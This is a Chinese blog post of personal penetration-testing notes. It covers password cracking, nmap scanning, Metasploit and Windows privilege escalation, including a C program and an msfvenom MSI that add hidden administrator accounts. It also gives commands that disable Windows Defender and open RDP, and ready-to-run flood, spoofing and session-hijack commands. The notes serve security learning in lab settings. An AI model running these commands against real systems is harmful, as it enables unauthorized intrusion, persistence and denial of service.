攻防 & 渗透 & Kali笔记(持续更新)

0x00、写在前面

本来是记录kali用法的一篇文章,后来就慢慢变成了记录攻防 & 渗透测试 & Kali用法的文章了,本来信息安全就涉及到方方面面就是个大杂烩。

0x01、John the Ripper

john爆破需要一个shadow文件,推荐使用字典爆破。官网John the Ripper password cracker

zip2john flag.zip >> flag.hash     # 准备一下
john flag.hash --wordlist=w.txt    # 指定字典爆破

john --show flag.hash              # 显示刚爆破出来的密码
cat ~/.john/john.pot               # 显示爆破历史密码

0x02、crunch

crunch字典生产工具。

crunch 13 13 -t 1543%%%%%%.%% > w.txt # 生成一个字典

更常用的用法是,根据生成字典的规则生成,字符集规则在/usr/share/crunch/charset.lst用-f指定。比如,以下用mixalpha-numeric规则生成1到4位大小写字母、数字组合的密码字典。其他规则参看charset.lst文件。

crunch 1 4 -f /usr/share/crunch/charset.lst mixalpha-numeric -o dict.txt

0x03、nmap

0x0300、nmap基本用法

nmap信息收集工具,可以扫描目标主机操作系统、开放端口等。

nmap -O www.kylinos.cn                      # 扫描操作系统
nmap -sV -p 1-8900 www.kylinos.cn    # 扫描1-8900范围的端口及服务 

nmap -sV -Pn  192.168.27.7                # 万一被扫描服务器屏蔽了你,可以用-Pn

0x0301、nmap技巧

-iL <filename>            # 从文件中读取待检测目标,文件中表示方法支持主机名、IP、网段

-iR <hostnum>           # 随机选取hostnum台进行扫描,如果-iR 0则无休止扫描

--exclude host1[,host2]                  # 从描述任务中排除主机

--excludefile <exclude_file>          # 排除文件中的IP,格式和-iL格式相同

主机发现

-sL                                   # 仅显示扫描数目,不进行扫描

-sn                                   # ping扫描,主机发现

-Pn                                  # 不检测主机存活

-PS/PA/PU/PY [portlist]   # 表示 TCP SYN Ping / TCP ACK Ping / UDP Ping 发现

-PE/PP/PM                     # 使用ICMP echo,timestamp and netmask 请求包发现主机

-PO [protocol list]            # 使用IP协议包探测对方主机是否开机

-n                                    # 不对IP进行域名反向解析/

-R                                   # 为所有IP都进行域名的反解析

扫描技巧

-sS/sT/sA/sW/sM       # TCP SYN / TCP connect() / ACK / TCP窗口扫描 / TCP Maimon扫描

-sU                             # UDP 扫描

-sN/sF/sX                   # TCP Null / TCP FIN  /   TCP Xmas 扫描

--scanflags                 # 自动以TCP包中的flags

-sI zombie host[:probeport]   # Idlescan

-sY/sZ                        # SCTP INIT / COOKIE-ECHO 扫描

-sO                            # 使用IP protocol 扫描确定目标机支持的协议类型

-b "FTP relay host"    # 使用FTP bounce scan

0x0302、nmap脚本

可以用nmap结核NSE脚本,scripts目录 /usr/share/nmap/scripts/

0x04、hydra

hydra爆破工具,支持爆破ssh、ftp、mysql、oracle、sqlserver、smb等一众协议,功能强大。

  • -l 指定登录名
  • -L 指定登录名字典
  • -p 指定密码
  • -P 指定密码字典
  • -C 指定用户名密码字典,字典格式 user:password
  • -M 目标列表文件
  • -s 指定非默认端口
  • -e -n 尝试空密码

hydra -l user      -p 1qaz@WSX       ssh://192.168.27.7     # 登录名user 密码1qaz@WSX
hydra -l user      -P ./pass10.txt   192.168.27.7 mysql     # 登录名user 密码字典pass10.txt
hydra -L user.txt  -P ./password.txt ftp://192.168.27.7     # 登录名字典dict.dict.txt 密码字典password.txt
hydra -C dict.dict -e -n -M 'host.txt' smb                  # 尝试空密码 登录名密码字典dict.dict 目标在host.txt

0x05、Metaploit(msf)

0x0501、Metaploit爆破工具。

以爆破 myql 为例,使用use加载模块,使用show options查看参数设置,设置目标主机、端口、登录名字典、密码字典、爆破并行数,然后run开始爆破。

0x0502、Metaploit搜索EXP && Windows溢出提权

在msfconsole里面用命令 search MS08-067 搜索 MS08-067 漏洞利用模块,通过use使用搜到的模块对存在 MS08-067 漏洞的系统进行攻击。

0x0503、开启路由转发

这个功能本身和msf没有关系,但是渗透需要进行横向扩展,那么就很有用了。

第一种推荐的办法,用frp搭起稳定代理,打开msfconsole,执行以下命令设置socks5代理,比用proxychains要好很多。

setg  Proxies  socks5:x.x.x.x:port

场景kali、ununtu20、win2016、ubuntu16

kali:      10.30.7.3/24 gw10.30.7.2 eth0;
ubuntu20:  10.30.7.55/24,ens33;       10.0.20.141/24,ens38;
win2016:   10.0.20.100/24,Ethernet0;  to be continued,Ethernet1;
ubuntu16:  to be continued;

第二种不推荐的办法,kali已经拿下ubuntu20并看到存在10.0.20.0网段,但是kali和10.0.20.0网段不通。先说怎么搞通这个。

开启ubuntu20的路由转发功能。编辑/etc/sysctl.conf,添加如下内容,保存后用命令 sysctl -p /etc/sysctl.conf 使之生效。cat /proc/sys/net/ipv4/ip_forward回显为1表示开启了路由转发。

net.ipv4.ip_forward=1

并开启iptables nat转发,类似配置了路由。

# 原地址10.30.7.0/24目的地址10.0.20.0/24的转换从ens38网卡出
iptables -t nat -A POSTROUTING -s 10.30.7.0/24 -d 10.0.20.0/24 -o ens38 -j MASQUERADE
# 原地址10.0.20.0/24目的地址10.30.7.0/24的转换从ens33网卡出
iptables -t nat -A POSTROUTING -s 10.0.20.0/24 -d 10.30.7.0/24 -o ens33 -j MASQUERADE
# 保存
# 保存到文件 iptables-save > /etc/sysconfig/iptables
iptables-save

kali上要把网关改成ubuntu20 ens33网卡的地址,这样就可以nmap扫描了。

┌──(kali㉿kali)-[~]
└─$ nmcli connection modify eth0 ipv4.gateway 10.30.7.55 

kali能ping通10.0.20.141但是ping不通10.0.20.100的原因是win2016防火墙上禁ping了。

0x0504、后渗透

给出msf提权建议

run post/multi/recon/local_exploit_suggester

开启远程桌面

run post/windows/manage/enable_rdp

查看windows的账号密码

load kiwi

creds_all

0x06、searchsploit

searchsploit是exploit-db的命令行搜索工具。定期用-u参数更新,体验更佳。常用参数

  • -u 检查并安装exploit-db软件包更新
  • -w 在线搜索
  • -p 显示EXP完整路径及详细信息
  • -j 以json格式显示结果
  • -m 把一个EXP拷贝到当前工作目录

0x07、Windows提权

0x0700、Windows收集信息命令

常用命令

systeminfo | findstr /L /C:OS /C:KB    # 查看系统版本补丁等
hostname                               # 查看主机名
whoami                                  # 查看当前用户权限

ipconfig /all                            # 查看所有网络接口
route print                              # 查看路由表
arp -A                                    # 查看arp缓存
netstat -ano                           # 查看活动的网络链接、端口、PID
netsh firewall show state                # 查看防火墙状态
netsh firewall show config              # 查看防火墙配置

schtasks /query /fo LIST /v             # 查看计划任务
driverquery                                     # 查看驱动程序
icacls "C:\Program Files"               # 查看目录和文件权限

net start                                              # 查看启动的服务
sc qc 服务名                                            # 查看服务详细配置
sc stop 服务名                                          # 关闭服务
sc start 服务名                                         # 启动服务
sc config "服务名" binpath= "C:\path\to\yours.exe"      # 修改服务的binpath 注意binpath=后面有空格

# 查看注册表AlwaysInstallElevated的值

reg query HKLM\SOFTWARE\Policies\Microoft\Windows\Installer /v AlwaysInstallElevated

# 修改服务路径
reg add "HKLM\SYSTEM\ControlSet001\Services\服务名" /t REG_EXPAND_SZ /v ImagePath /d "服务路径" /f

# 生成添加管理的MSI安装文件

msfvenom -p windows/adduser USER=a$ PASS=123456Pp. -f msi -o /exp.msi

wmic枚举目标信息

wmic qfe list                                                       # 查看计算机补丁安装情况
wmic cpu get addresswidth                                # 查看系统位数
wmic process list brief                                        # 列出进程
wmic process get description, executablepath  # 获取进程路径
wmic startup                                                       # 查看启动项
wmic share get name, path                               # 查看共享
wmic product get name, version                       # 查看安装的软件版本
wmic bios list full | find /i "vmware"                   # 查看是佛为虚拟机

# 查看没有加引号的服务器路径

wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """  

# 查看path环境变量

wmic ENVIRONMENT where "name='path'" get UserName, VariableValue

如果通过其他方式拿到了windows的shell权限,可以开启远程桌面服务。

注册表指定远程桌面的端口是3389,一般默认也是3389
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

开启远程桌面服务进程
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

防火墙入栈规则,允许3389/tcp端口的访问
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

注册表指定远程桌面认证
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f 

# 注册表指定远程桌面的端口是3389,一般默认也是3389
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /t REG_DWORD /v portnumber /d 3389 /f

# 开启远程桌面服务进程
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

# 防火墙入栈规则,允许3389/tcp端口的访问
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

# 注册表指定远程桌面认证
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f 

用命令行关闭windows defender,但是必须重启生效。

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD

0x0701、利用不带引号的服务劫持服务

查看没有引号的服务路径。这个路径是写在注册表里 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\<服务名>\ImagePath 里的。

发现 dsNcService 服务路径没有加引号,并且存在空格,Windows会对空格尝试当前路径下与空格前的名字匹配的程序执行。sc qc 命令查看 dsNcService 服务是自动启动的,以system权限运行的,那么重启之后 Juniper.exe 就自动执行了。那么可以考虑在 "C:\Program Files(x86)\" 目录下建立一个程序 Juniper.exe ,来劫持服务的启动权限。

用C语言编写一个程序 Juniper.c,在windows上创建一个隐藏用户 a$ 。

#include "stdlib.h"

int main(int argc, char *argv[]) {
    int i = system("net user a$ 123456Pp. /add");
    int j = system("net localgroup administrators a$ /add");
    return 0;
}

kali 安装 mingw-w64,并使用 i686-w64-mingw32-gcc 编译出 Juniper.exe 文件。

sudo apt-get install mingw-w64
i686-w64-mingw32-gcc Juniper.c -o Juniper.exe -mwindows 

重启服务器后发现,administrators组里多了一个隐藏账号 a$

0x0702、利用PATH环境变量配置错误

在不使用绝对路径的情况下,windows会先在当前目录查找命令执行,如果当前目录找不到就再去PATH环境变量目录里找命令执行。如果PATH环境变量在%SystemRoot%\system32前面还有别的路径,恰好路径里有一个和要执行命令名字相同的恶意程序,那么这个恶意程序就会被执行。

我们以 "C:\Windows\System32\ipconfig.exe" 为例,尝试在windows上创建一个隐藏用户b$。

还是0x0701里面的恶意程序,交叉编译一下得到恶意程序 ipconfig.exe。通过 wmic 查看一下system权限的path,发现在%SystemRoot%\system32前面还有 C:\PortableGit\bin 这个路径,我们把恶意程序ipconfig.exe放到这个路径,那么执行之后在就会创建隐藏账号b$,并且是放在administrators组的。

0x0703、不安全的服务权限 && accesschk.exe工具

通常windows的服务以system权限运行,如果配置了一个低权限的用户可以对服务做出修改,那么可以通过修改服务器的启动文件路径binpath,将其替换为恶意程序的路径,服务启动时就启动了恶意程序。

利用windows上的一个工具accesschk,AccessChk - Windows Sysinternals | Microsoft Learn。获取目标服务器shell权限后上传accesschk,可以发现配置不当的服务,用法如下

accesschk 用户/用户组 文件/文件夹           # 查看用户/用户组 对 文件/文件夹的权限
accesschk -ucqv *                                       # 列出所有服务的权限
accesschk 用户/用户组 -cw *                      # 查看用户/用户组有写权限的服务

# 查看用户/用户组对HKEY_LOCAL_MACHINE\Software目录下注册表项的权限
accesschk -k 用户/用户组 hklm\software   


accesschk -wuo everyone                          # 查看每个账号都能修改的全局对象 

很抱歉啊,我这没有users组可以写的服务。假如有的话就可以sc config 修改服务的binpath指向恶意程序了。服务重启时候就执行恶意程序了。

sc config "WritableService" binpath= "C:\PortableGit\bin\ipconfig.exe"

0x0704、不安全的注册表权限 && subinacl.exe工具

微软已经停止提供subinacl.exe工具下载服务,可自行下载。获取目标服务器shell权限后上传subinacl。执行后可以查看服务的注册表项目,如果发现有任意用户权限为Full Control,就可以考虑修改注册表项的ImagePath,指向我们的恶意程序。服务重启时候就执行恶意程序了。添加了隐藏用户 e$

# 查看dsNcService服务的注册表项

subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dsNcService" /display
 

# 修改为恶意程序的路径

reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\dsNcService" /t REG_EXPAND_SZ /v ImagePath /d "C:\PortableGit\bin\Juniper.exe" /f

0x0705、MSI文件提权 && msfvenom工具

使用下面命令查询windows是否开启了永远以高特权限进行安装的配置。

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果未开启会报错。

如果两个配置都开启了,可以用kali的msvenom工具生成恶意的msi文件,上传后以低权限用户调用msiexec命令运行msi即可。这两个配置都在gpedit.msc里面,一个是计算机配置里的Windows Installer,另一个是用户配置里的Windows Installer。

用kali的msvenom工具生成恶意的msi文件

msfvenom -p windows/adduser USER=c$ PASS=123456Pp. -f msi -o ./game.msi

使用 msiexec 执行一下msi文件 ,就创建了隐藏账号 c$

0x0706、计划任务提权 && schtasks.exe工具

schtasks.exe工具是windows上添加计划任务的工具,若权限配置不当,可以利用一下。使用schtasks查看一下test任务,如果提示“无法加载列资源”用chcp 437调整编码。我们发现test任务是在系统启动时以system权限执行C:\script\task.bat

chcp437
schtasks /query /fo LIST /v /tn test

 我们在 C:\script\task.bat 加入一行

net user d$ 123456Pp. /add & net localgroup administrators d$ /add

系统重启后发现确实有了 d$ 并属于 administrators 组。

0x08、信息收集

IP WHOIS查询 - 站长工具IP WHOIS简单来说,就是IP的详细信息的数据库(如IP使用人和IP使用人的相关信息等),通过IP WHOIS来实现对IP地址详细信息的查询icon-default.png?t=N7T8https://tool.chinaz.com/ipwhoisFOFA:网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知FOFA 是白帽汇推出的一款网络空间搜索引擎,它通过进行网络空间测绘,能够帮助研究人员或者企业迅速进行网络资产匹配,例如进行漏洞影响范围分析、应用分布统计、应用流行度排名统计等。icon-default.png?t=N7T8https://fofa.info/crt.sh | Certificate SearchFree CT Log Certificate Search Tool from Sectigo (formerly Comodo CA)icon-default.png?t=N7T8https://crt.sh/Shodan 偏向网络设备以及服务器搜索Search Engine for the Internet of Thingsicon-default.png?t=N7T8https://www.shodan.io/Censys 类同于shodanCensys helps organizations, individuals, and researchers find and monitor every server on the Internet to reduce exposure and improve security.icon-default.png?t=N7T8https://search.censys.io/ZoomEye 偏向web应用层面的搜索icon-default.png?t=N7T8https://www.zoomeye.org/

微步在线X情报社区-威胁情报查询_威胁分析平台_开放社区微步在线X情报社区是国内首个综合性威胁分析平台和威胁情报共享的开放社区,同时提供威胁情报查询、域名反查、IP反查,行业情报等服务,辅助个人及企业快速定位及排除安全隐患icon-default.png?t=N7T8https://x.threatbook.com/ 以下是一些搜索用的语法

Shodan语法简介

0x09、网络层渗透手段

0x0900、ARP欺骗攻击

利用ARP地址解析协议更新ARP缓存表,通过篡改IP地址和MAC地址解析,来冒充网关、欺骗网关、欺骗终端用户、中间人欺骗攻击。

Gateway   IP:10.0.0.1     MAC:03-A0-39-21-51-04
Host          IP:10.0.0.3     MAC:00-45-E1-32-01-68
Attacker    IP:10.0.0.5     MAC:03-58-DA-41-62-04     

Attacker对Gateway声称自己是 10.0.0.3,03-58-DA-41-62-04。ARP协议更新Gateway的ARP Table。
Attacker对Host声称自己是 10.0.0.1,03-58-DA-41-62-04。ARP协议更新Host的ARP Table。
这样Host和Gateway之间数据传输都经过Attacker。

常用的ARP欺骗工具有 bettercap、arpspoof、cain等。用arp -a查看arp table的内容。

0x0901、MAC泛洪攻击

伪造大量的位置MAC地址进行通信,MAC表会被充满(容量有限),正常主机MAC地址老化后无法再添加到MAC表。kali 上常用工具 macof。

0x0902、IP源地址欺骗攻击

用工具netwox,构造任意源地址的IP报文。

netwox 41 -j 128 -k 1 -l 192.168.1.106 -m 192.168.27.7 -o 8

 netwox 41 工具  IP源地址欺骗:无中生有 192.168.1.106

用工具nmap,构造任意源地址的IP报文。此时会出现构造的10.10.10.1 和 21.21.31.1两个地址向目标 192.168.27.7 发送的报文,用wireshark抓包可以观察到现象。

namp -vv -D <10.10.10.1,21.21.31.1> -p 80 -sS -Pn 192.168.27.7/32

IP源地址欺骗:无中生有 10.10.10.1 和 21.21.31.1

0x0903、ICMP重定向攻击&隧道攻击

ICMP重定向攻击。原理基础场景:路由器R1、R2位于同一以太网段,Host默认网关为路由器R1,Host要访问10.1.1.1,Host发送给R1,R1路由表显示下一跳是R2,数据包被R1转发到R2,同时向Host发送一条ICMP重定向消息。

ICMP重定向原理

利用netwox的第86号工具可以完成ICMP重定向攻击,让数据都流向攻击者。

被攻击者IP 192.168.1.105,攻击者IP 192.168.1.100,网关IP 192.168.1.1。

netwox 86 -f "host 192.168.1.105" -g 192.168.1.100 -i 192.168.1.1

意思是对目标 -f 发出的数据,目的为原来的网关 -i, 重定向到新的网关 -g。

具体用法可以 netwox 86 --help2 查看详细用法。

ICMP隧道攻击,常用工具是 ptunnel,具体用法man一下。

0x0A、传输层攻击

TCP的三次握手和四次挥手

TCP的三次握手和四次挥手

wireshark查看TCP流的序列绝对值。wireshark为了方便查看,默认显示的是TCP流序列相对值(从1开始)。可以设置显示TCP流的序列绝对值(数据包里seq的真实值)。

Preferences-Protocol-TCP-Relative seq num

0x0A00、TCP RST 攻击

TCP RST攻击原理未记录,大概是可以阻断正常的访问,常用工具 netwox 78 和 hping3。

netwox 78 --help2 查看具体用法

netwox 78 -d eth0

hping3 -R -c 10 -I wlan0 192.168.0.101

wireshark过滤条件 tcp.flags.reset==1 && ip.dst==192.168.0.101

用wireshark抓包,找可以过滤出192.168.0.101遭到RST攻击的10个包

0x0A01、TCP SYN Flood 攻击

TCP SYN Flood 攻击原理,大概是异常的SYN耗尽目标资源,阻断正常的TCP三次握手,常用工具 netwox 76 和 hping3。

netwox 76 -i "192.168.0.101" -p 80

hping3 -S -I eth0 192.168.0.101 --flood

0x0A02、TCP 会话劫持攻击

只记录了工具 netwox 40 和 shijack 的例子

netwox 40 --ip4-dontfrag --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.204.132 --ip4-dst 192.168.204.131 --tcp-src 45116 --tcp-dst 23 --tcp-seqnum 3332505945 --tcp-acknum 4096321077 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c"

./shijack-lnx eth0 192.168.204.132 45188 192.168.204.131 23

0x0A03、UDP Flood 攻击

大量的UDP数据包耗尽计算资源、带宽资源,结合源地址欺骗技术,利用分布式拒绝服务攻击。消耗对方资源也消耗自己资源,拼资源而已,看谁带宽大资源多坚持到最后。举例 hping3 用法。

hping3 --udp --flood 192.168.0.101 --destport 53 --data 100 --count 20

0x0B、应用层攻击

0x0B00、SMTP钓鱼邮件

邮件要区分 mail_from 和 from 的区别。里有 mail_from 实际发件人、from 宣城发件人。常用 python 代码、swaks工具 来伪造邮件。

0x0C、next

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

苦行僧(csdn)

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值